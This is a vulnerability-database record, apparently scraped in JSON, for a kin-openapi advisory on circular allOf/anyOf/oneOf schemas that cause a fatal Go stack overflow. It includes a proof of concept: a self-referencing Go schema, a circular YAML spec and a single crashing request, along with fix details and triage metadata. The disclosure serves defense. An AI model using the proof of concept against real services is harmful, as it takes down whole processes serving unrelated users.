{"id":"CVE-2026-100354","kind":"vulnerability","aliases":["CVE-2026-100354","GHSA-g8cf-rcjf-c8cf","GO-2026-6785"],"related":[],"title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"## Summary\n\nkin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) > 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := &openapi3.Schema{\n\tType:       &openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: &openapi3.Schema{Type: &openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx)                       // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: '3.0.0'\ninfo: { title: Circular allOf crash PoC, version: '1.0' }\npaths:\n  /test:\n    get:\n      parameters:\n        - name: data\n          in: query\n          schema: { $ref: '#/components/schemas/Recursive' }\n      responses: { '200': { description: OK } }\ncomponents:\n  schemas:\n    Recursive:\n      type: object\n      allOf:\n        - $ref: '#/components/schemas/Recursive'\n      properties:\n        name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.","summary":"kin-openapi, a Go library for parsing OpenAPI specifications, recurses without limit when a schema references itself through allOf, anyOf or oneOf. Processing such a schema makes the whole process crash fatally.","severity":"high","cvss":7.5,"epss":0.00435,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/getkin/kin-openapi","fixed":["0.149.0"],"affected":"< 0.149.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-674","go","kin-openapi","openapi","package"],"not_affected_if":["go-not-used","no-untrusted-specs"],"how_to_check":"- Check the version of `github.com/getkin/kin-openapi` in `go.mod` or `go list -m github.com/getkin/kin-openapi`\n- Look for code that loads or validates OpenAPI documents from untrusted input using this library","fix":"- `github.com/getkin/kin-openapi` `0.149.0`","status":"open","published_at":"2026-10-15T17:17:07+00:00","first_seen_at":"2026-11-06T00:09:04+00:00","triaged_at":"2026-11-06T00:10:33+00:00","updated_at":"2026-11-06T00:19:08+00:00","category":"package","confidence":0.6,"triage":{"at":"2026-11-06T00:10:33Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/getkin/kin-openapi` `0.149.0`","reach":"unknown","title":"kin-openapi: circular schemas crash Go processes through unbounded recursion","impact":"low","summary":"kin-openapi, a Go library for parsing OpenAPI specifications, recurses without limit when a schema references itself through allOf, anyOf or oneOf. Processing such a schema makes the whole process crash fatally.","audience":"developers","category":"package","nicknames":[],"who_cares":["go","openapi","kin-openapi"],"confidence":0.6,"fix_status":"available","needs_auth":"unknown","worst_case":"Denial of service: the process crashes on a crafted schema","analyst_note":"","how_to_check":"- Check the version of `github.com/getkin/kin-openapi` in `go.mod` or `go list -m github.com/getkin/kin-openapi`\n- Look for code that loads or validates OpenAPI documents from untrusted input using this library","plain_action":"","needs_analyst":false,"not_affected_if":["no-untrusted-specs","go-not-used"],"who_is_affected":"Applications written in Go that use kin-openapi to parse or validate OpenAPI documents, especially those accepting specs from outside users. Services that only use the library on trusted, fixed specs are less exposed. Programs that do not import this library can skip it.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"unknown"},"cost_usd":0.000683,"input_tokens":4270,"output_tokens":512,"severity_before":"unknown"},"analyst_status":null,"analyst_note":null,"search":"'-100354':16A,27A '-2026':15A,23A,26A '-674':32B '-6785':24A '/getkin/kin-openapi':30A '/getkin/kin-openapi/openapi3.(*schema).visitjson(...)':504C,514C '/getkin/kin-openapi/openapi3.(*schema).visitxofoperations(...)':509C,519C '0':378C '1':210C,500C '1.26.7':408C '1000000000':492C '1396':253C '1951':283C,506C '1981':516C '2':224C '2189':287C '2309':511C,521C '270':358C 'accept':113C,432C,456C,468C 'allof':58B,117C,323C,419C 'allof/anyof/oneof':8A 'also':235C 'ancestor':333C 'anyof':59B,118C,322C 'append':273C 'back':122C 'base':108C 'bool':314C,371C,373C 'buildfromschema':244C 'buildresobj':243C 'byte':493C 'c8cf':21A 'call':284C,294C,425C,481C 'cannot':179C 'catch':180C 'caus':10A,247C 'chain':120C,152C 'check':327C,394C 'circular':7A,86C,93C,453C,470C 'client':202C 'combin':151C,291C 'commit':405C 'concept':397C 'confirm':209C 'connect':187C 'context.context':260C 'crash':13A,70B,465C 'ctx':259C,455C 'cve':14A,25A 'cwe':31B 'cycl':109C,250C,345C,393C,477C 'data':101C 'dec':362C,387C 'decod':232C,349C 'decodevalu':226C,356C,361C,386C 'defer':527C 'detail':245C 'detect':110C,251C,478C 'direct':221C,412C 'entir':193C 'environ':398C 'err':311C,335C,339C,385C 'error':127C,169C,264C,312C,374C,458C,473C,496C 'exceed':166C,491C 'expect':483C 'f':384C 'f0407d5':406C 'fatal':11A,71B,160C,168C,484C,495C 'first':228C,426C 'forev':342C 'func':255C,303C,360C 'g8cf':19A 'gap':239C 'ghsa':18A 'ghsa-g8cf-rcjf-c8cf':17A 'github.com':29A,503C,508C,513C,518C 'github.com/getkin/kin-openapi':28A 'github.com/getkin/kin-openapi/openapi3.(*schema).visitjson(...)':502C,512C 'github.com/getkin/kin-openapi/openapi3.(*schema).visitxofoperations(...)':507C,517C 'go':22A,33B,43B,156C,254C,302C,359C,407C,435C 'goroutin':164C,199C,489C,499C 'handl':85C 'help':191C 'i.e':217C 'identifi':236C 'idx':316C 'includ':197C 'independ':204C 'item':317C 'item.value':325C,329C 'iter':289C 'kin':2A,35B,40B,74C,400C 'kin-openapi':1A,34B,39B,73C,399C 'len':376C 'librari':44B 'limit':51B,167C,494C 'line':282C,286C 'loader':78C,91C 'make':66B 'map':460C 'name':443C,463C 'net/http':183C 'nil':271C,340C 'none':280C 'object':440C 'oneof':61B,119C 'openapi':3A,36B,37B,41B,47B,75C,401C 'openapi3.schema':437C,445C 'openapi3.schemaref':369C 'openapi3.schemarefs':450C 'openapi3.schemas':442C 'openapi3.serializationmethod':367C 'openapi3.types':439C,447C 'openapi3/schema.go':211C,252C,505C,510C,515C,520C 'openapi3filter/req_resp_decoder.go':225C,357C 'output':466C 'overflow':162C,171C,486C,498C,525C 'packag':38B 'panic':177C 'param':364C,388C 'paramet':231C 'pars':46B 'path':350C,409C 'per':186C 'per-connect':185C 'process':12A,62B,69B,194C 'produc':158C 'proof':395C 'properti':441C 'protect':135C 'purpos':97C 'rang':318C,381C 'rcjf':20A 'reach':214C,227C 'recov':178C,528C 'recover':176C 'recoveri':188C 'recurs':5A,49B,100C,148C,206C,341C 'recursiveschema':436C,452C 'recursiveschema.allof':449C 'recursiveschema.validate':454C 'recursiveschema.visitjson':459C 'ref':94C 'refer':55B,88C,121C,420C 'repeat':522C 'report':234C 'request':143C,230C,348C 'request-decod':347C 'requir':370C,391C 'resolv':92C 'respons':145C,218C,411C 'return':125C,269C 'root':246C 'run':313C,501C 'runtim':129C,163C,277C,488C 'safe':89C 'schema':9A,54B,65B,87C,115C,139C,222C,256C,257C,262C,263C,268C,275C,301C,304C,305C,330C,368C,413C,417C,430C,471C 'schema.oneof':321C 'schema.validate':104C,248C 'schema.value.allof':377C,382C 'schemavalidationset':308C 'serv':200C 'set':307C,337C 'show':428C 'site':207C 'slice':292C 'slices.contains':266C 'sm':366C,389C 'spec':77C,81C,475C 'spec-tim':80C,474C 'specif':48B 'sr':380C,390C 'stack':107C,161C,165C,170C,261C,267C,270C,272C,274C,485C,490C,497C,524C 'stack-bas':106C 'string':365C,448C,461C 'structur':102C,354C 'sub':300C 'sub-schema':299C 'summari':72C 'support':99C 'tag':403C 'tempvalu':338C 'termin':196C 'test':464C 'therefor':112C 'time':82C,476C 'toler':479C 'two':203C 'type':438C,446C 'unbound':154C 'uncontrol':4A 'unguard':205C 'unrecover':487C 'unrel':201C 'urlvaluesdecoder.parsevalue':241C 'use':105C,141C 'v':319C,320C,324C 'v.visitjson':336C 'v0.144.0':402C,404C 'valid':83C,111C,130C,146C,219C,223C,258C,414C,423C,467C 'valu':309C,383C,444C,451C 'valuedecod':363C 'visitjson':212C,216C,281C,295C,415C,434C,482C 'visitor':278C 'visitxofoper':213C,285C,306C 'whole':68B 'whose':116C,418C 'without':50B","nicknames":[],"mitigations":[],"who_affected":"Applications written in Go that use kin-openapi to parse or validate OpenAPI documents, especially those accepting specs from outside users. Services that only use the library on trusted, fixed specs are less exposed. Programs that do not import this library can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["githubcomgetkinkinopenapi"],"ptokens":["com","getkin","github","kin","openapi"],"labels":["cwe674","go","high","kinopenapi","openapi","package"],"campaign_type":null,"first_public_at":"2026-08-28T09:15:59+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"govuln","external_id":"GO-2026-6785","url":"https://pkg.go.dev/vuln/GO-2026-6785","severity":null,"published_at":"2026-11-05T22:53:53+00:00","modified_at":"2026-11-05T22:53:53+00:00","first_seen_at":"2026-11-06T00:09:04+00:00","fetched_at":"2026-11-06T00:09:04+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-100354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100354","severity":null,"published_at":"2026-10-15T17:17:07+00:00","modified_at":"2026-10-15T19:17:12+00:00","first_seen_at":"2026-11-06T00:19:01+00:00","fetched_at":"2026-11-06T00:19:01+00:00","note":null},{"source":"ghsa","external_id":"GHSA-g8cf-rcjf-c8cf","url":"https://github.com/advisories/GHSA-g8cf-rcjf-c8cf","severity":"high","published_at":"2026-10-15T20:20:37+00:00","modified_at":"2026-10-15T20:20:38+00:00","first_seen_at":"2026-11-06T00:19:08+00:00","fetched_at":"2026-11-06T00:19:08+00:00","note":null}],"documents":[{"id":81809,"url":"https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff","title":"Patch: github.com","kind":"other","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":81785,"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.149.0","title":"Release notes: github.com","kind":"release","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release notes: github.com"},{"id":81811,"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf","title":"Vendor advisory: github.com","kind":"vendor","source":"nvd","publisher":"vendor","text":null,"published_at":"2026-08-28T09:15:59+00:00","relation":"advisory","confidence":null,"note":"Vendor advisory: github.com"},{"id":81942,"url":"https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-g8cf-rcjf-c8cf","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"}],"exploit_sources":[{"type":"epss","score":0.00435,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100354"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}